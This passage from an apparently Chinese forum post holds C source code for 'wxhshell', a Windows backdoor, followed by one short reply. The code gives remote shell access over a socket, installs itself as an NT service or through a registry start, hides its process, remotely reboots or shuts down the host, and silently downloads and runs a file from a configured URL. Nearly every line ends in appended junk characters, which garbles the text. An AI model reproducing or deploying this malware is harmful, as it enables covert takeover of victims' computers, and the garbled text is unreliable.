    switch(cmd[0]) { \,E;b{PQo6  
  "@E1^  
  // 帮助 W]n%$a  
  case '?': { ewk62 {  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H>`?S{J  
    break; }{S W~yW  
  } c`y[V6q9  
  // 安装 2ZB'WzH.X  
  case 'i': { -[x^z5Ee`  
    if(Install()) Z| +/Wl-h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ne.W-,X^cL  
    else }yU,_:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /"Om-DK%  
    break; h8O[xca/~  
    } @B~/0 9  
  // 卸载 S~ }?6/G.  
  case 'r': { &S<tX]v  
    if(Uninstall()) Vrf` :%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d;(L@9HHD  
    else Tfgx>2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~y^#?;  
    break; U,+kV?Z  
    } EZc!QrY  
  // 显示 wxhshell 所在路径 p/'C v  
  case 'p': { w=3@IW  
    char svExeFile[MAX_PATH]; iR(A ^  
    strcpy(svExeFile,"\n\r"); {`~{%2ayq7  
      strcat(svExeFile,ExeFile); Om{[ <tL  
        send(wsh,svExeFile,strlen(svExeFile),0); !/['wv@  
    break; +8Zt<snG  
    } q=}Lm;r  
  // 重启 j 46f Q  
  case 'b': { ?ae:9ZcH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZQnJTS+Rd  
    if(Boot(REBOOT)) 2anx]QV4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V4 Pf?g  
    else { xK0VWi  
    closesocket(wsh); OHqLMBW!!  
    ExitThread(0); gV!Eotq  
    } mhp5}  
    break; <0R7uH  
    } ?'$=G4y&?  
  // 关机 P~i^V;g  
  case 'd': { x"v5'EpL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yk:fV&]  
    if(Boot(SHUTDOWN)) ^Q4w<sX'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ts0@Z_:  
    else { 7~eo^/Pb S  
    closesocket(wsh); <k5FlvE2  
    ExitThread(0); /^#k /z  
    } f3V&i)w(  
    break; iX.=8 ~3  
    } 2sy{  
  // 获取shell [t<^WmgtxL  
  case 's': { g 6>R yjN  
    CmdShell(wsh); *WfOB2rU  
    closesocket(wsh); r1-?mMSU&  
    ExitThread(0); dj?.Hc7od  
    break; )wpBxJ;dB}  
  } *2 4P T7  
  // 退出 xh @H@Q\  
  case 'x': { Gc4N)oq)}b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &.=d,XKN  
    CloseIt(wsh); L`x:Y>C(  
    break; _xAdvr' W  
    } =a?l@dI]  
  // 离开 1b;Aru~l  
  case 'q': { *0l^/jqn:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v=i[s  
    closesocket(wsh); idPkJf/  
    WSACleanup(); RE oFP;H~  
    exit(1); /.$n>:XR  
    break; ]J;^< 4l  
        } Kdx?s;i  
  } W5_t/_EWD  
  } 6N~~:Gt  
%nF6n:|:  
  // 提示信息 }/(fe`7:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #R305  
} &{x5 |$SD  
  } o*f7/ZP1o  
"] kaaF$U%  
  return; c(ZkK  
} SG8|xoL  
+X cB5S>  
// shell模块句柄 zJ3{!E}`v  
int CmdShell(SOCKET sock) G:c)e ,pD  
{ N: d`L+tcc  
STARTUPINFO si; 1xL2f&bG  
ZeroMemory(&si,sizeof(si)); 2B=yT8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yew9bn0a=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PM7*@~.  
PROCESS_INFORMATION ProcessInfo; 2P!Pbl<  
char cmdline[]="cmd"; SL pd~ZC?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >Ah [uM  
  return 0; }4#%0x`w  
} 4 FGcCE3  
QI=",vma u  
// 自身启动模式 4@/[aFH  
int StartFromService(void) 6n  
{ A$;U*7TJuO  
typedef struct -XkCbxZ  
{ ?bmP<(N5/  
  DWORD ExitStatus; rzLpVpTaz  
  DWORD PebBaseAddress; Jq<&`6hn  
  DWORD AffinityMask; l yF~E  
  DWORD BasePriority; dF5EIPl;J  
  ULONG UniqueProcessId; -% 5*c61  
  ULONG InheritedFromUniqueProcessId; v'`C16&^]  
}   PROCESS_BASIC_INFORMATION; 9y>dDNM\<  
xl5mI~n_~  
PROCNTQSIP NtQueryInformationProcess; Gi6sl_"q  
U $# ?Lw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;&s`g   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BCJo/m  
:JV= Kt  
  HANDLE             hProcess; rs]%`"&=  
  PROCESS_BASIC_INFORMATION pbi; F7Mf>."  
g"`BNI]Qp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ymrmvuh  
  if(NULL == hInst ) return 0; -ce N}Cb3  
u+&BR1)C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X#Y0g`muW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zFN:C()ig  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E<:XHjm  
lr=? &>MXj  
  if (!NtQueryInformationProcess) return 0; "|{ NRIE  
d/v{I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %nSm 32/t3  
  if(!hProcess) return 0; M/EEoK^K@  
Nv,1F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B: \\aOEj  
EeIV6ug  
  CloseHandle(hProcess); + 0{m(%i  
Oz'x5/%G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JF!JY( U,  
if(hProcess==NULL) return 0; /x c<&  
B8F.}M-!  
HMODULE hMod; -*~ = 4m<  
char procName[255]; 9]<p  
unsigned long cbNeeded; cfBq/2I  
9t:F![rg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B 7zyMh   
= NHuj.  
  CloseHandle(hProcess); 2BZYC5jy  
tJ>%Xop  
if(strstr(procName,"services")) return 1; // 以服务启动 &_Ze@Ir-  
hiq7e*Nsb  
  return 0; // 注册表启动 GqMa|8j  
} -^LUa]"E  
` Fnl<C<  
// 主模块 7|%|w  
int StartWxhshell(LPSTR lpCmdLine) Aslh}'$}-  
{ _1Iy/T@1  
  SOCKET wsl; KJn@2x6LP  
BOOL val=TRUE; Ir&rTGFN  
  int port=0; q,`"Z)97  
  struct sockaddr_in door; TUHm.!+a  
h sG~xRA\  
  if(wscfg.ws_autoins) Install(); O#LG$Y n*  
pRWEBd1U  
port=atoi(lpCmdLine); &|yQwNA*a"  
*j5>2-C &  
if(port<=0) port=wscfg.ws_port; %:2EoXN"  
jBZlN Ew  
  WSADATA data; QZ?#ixvJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4<}!+X7m  
> %h7)}U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   % `Q[?(z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c%y(Z5  
  door.sin_family = AF_INET; vT/e&8w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2-!OflkoM0  
  door.sin_port = htons(port); Z/-9G  
h1}U#XV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R=&9M4  
closesocket(wsl); p7et>;WRx  
return 1; =1Nz* c  
}  lS@0 $  
MDV<[${   
  if(listen(wsl,2) == INVALID_SOCKET) { ?YE'J~0A6  
closesocket(wsl); -#<6  
return 1; W>f q 9  
} .5L|(B=H  
  Wxhshell(wsl); s?Lx\?T  
  WSACleanup(); >QyJRMY  
21NGsG  
return 0; paKur%2u  
?tzJ7PJ~B  
} be?>C 5  
],`xd_=]=  
// 以NT服务方式启动 7egE."  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qt_ocOr  
{ { 0\Ez}  
DWORD   status = 0; ] V|hDU=t  
  DWORD   specificError = 0xfffffff; d*qb^C{'"  
7 ~b=G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <PLQY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #IJm*_J<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 44Dytpvg  
  serviceStatus.dwWin32ExitCode     = 0; AWaptw_p*  
  serviceStatus.dwServiceSpecificExitCode = 0; /{1sU}k-  
  serviceStatus.dwCheckPoint       = 0; &T.d"i  
  serviceStatus.dwWaitHint       = 0; A]0A,A0  
&10l80vj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M3XG s|gw  
  if (hServiceStatusHandle==0) return; 6HroKu  
,+w9_Gy2H  
status = GetLastError(); -e_91W I  
  if (status!=NO_ERROR) *Bfo"["0.  
{ \c ')9g@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `iHyGfm  
    serviceStatus.dwCheckPoint       = 0; ]MD,{T9l\>  
    serviceStatus.dwWaitHint       = 0; zM+4<k_dH]  
    serviceStatus.dwWin32ExitCode     = status; LZ#=Ks  
    serviceStatus.dwServiceSpecificExitCode = specificError; pbCj ^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {6 #Qm7s-  
    return; (vX) <Z !  
  } 1`hmD1d  
oX=dJJ E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yMG(FAyu  
  serviceStatus.dwCheckPoint       = 0; @},|i*H/  
  serviceStatus.dwWaitHint       = 0; R*[X. H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Lus,l\  
} :g%hT$,]3b  
WCNycH+1  
// 处理NT服务事件,比如:启动、停止 zA%YaekJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2[Ofa(mkkp  
{ sKy3('5;  
switch(fdwControl) <OH{7>V  
{ WCTmf8f  
case SERVICE_CONTROL_STOP: e{Q;,jsh  
  serviceStatus.dwWin32ExitCode = 0; #B!| sXC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n~"qbtp}  
  serviceStatus.dwCheckPoint   = 0; BGd# \2  
  serviceStatus.dwWaitHint     = 0; Bd'X~Vj<  
  { ?"F9~vx&G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ol0i^d*9F  
  } nxWm  
  return; @4t_cxmD  
case SERVICE_CONTROL_PAUSE: 7vo8lnQ{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4,,DA2^!  
  break; %p48=|+  
case SERVICE_CONTROL_CONTINUE: _sb~eB~<(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i:a*6b.U@N  
  break; zif&;)wV/  
case SERVICE_CONTROL_INTERROGATE: c"O4=[N: ;  
  break; a(J@]X>'  
}; @m5c<(bkfp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N \~}`({  
}  /!#A'#Z  
<ni_78  
// 标准应用程序主函数 c;?J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v9\U2j  
{ E2xK GK   
kYhV1I  
// 获取操作系统版本 <4LW.q  
OsIsNt=GetOsVer(); F?z:[1(:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vfd<qdi3p(  
/0swrt.  
  // 从命令行安装 ~6"=d  
  if(strpbrk(lpCmdLine,"iI")) Install(); {q/;G!ON.S  
A"B#t"  
  // 下载执行文件 l4gF.-.GYF  
if(wscfg.ws_downexe) { 4#Xz-5v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !/ a![Ne  
  WinExec(wscfg.ws_filenam,SW_HIDE); vbD""  
} _Sg"|g  
gSa!zQN6  
if(!OsIsNt) { {/FdrS  
// 如果时win9x,隐藏进程并且设置为注册表启动 D6dliU?k  
HideProc(); Kv9$c(~#  
StartWxhshell(lpCmdLine); 3PjX;U|  
} "{S6iH)]8  
else \#h{bnx  
  if(StartFromService()) 1{ H=The  
  // 以服务方式启动 b'ZzDYN  
  StartServiceCtrlDispatcher(DispatchTable); O$nW  
else ]xkh"j+W  
  // 普通方式启动 Pn,>eD*g  
  StartWxhshell(lpCmdLine); hj=qWGRgI  
f\rE{%  
return 0; ;reBJk  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八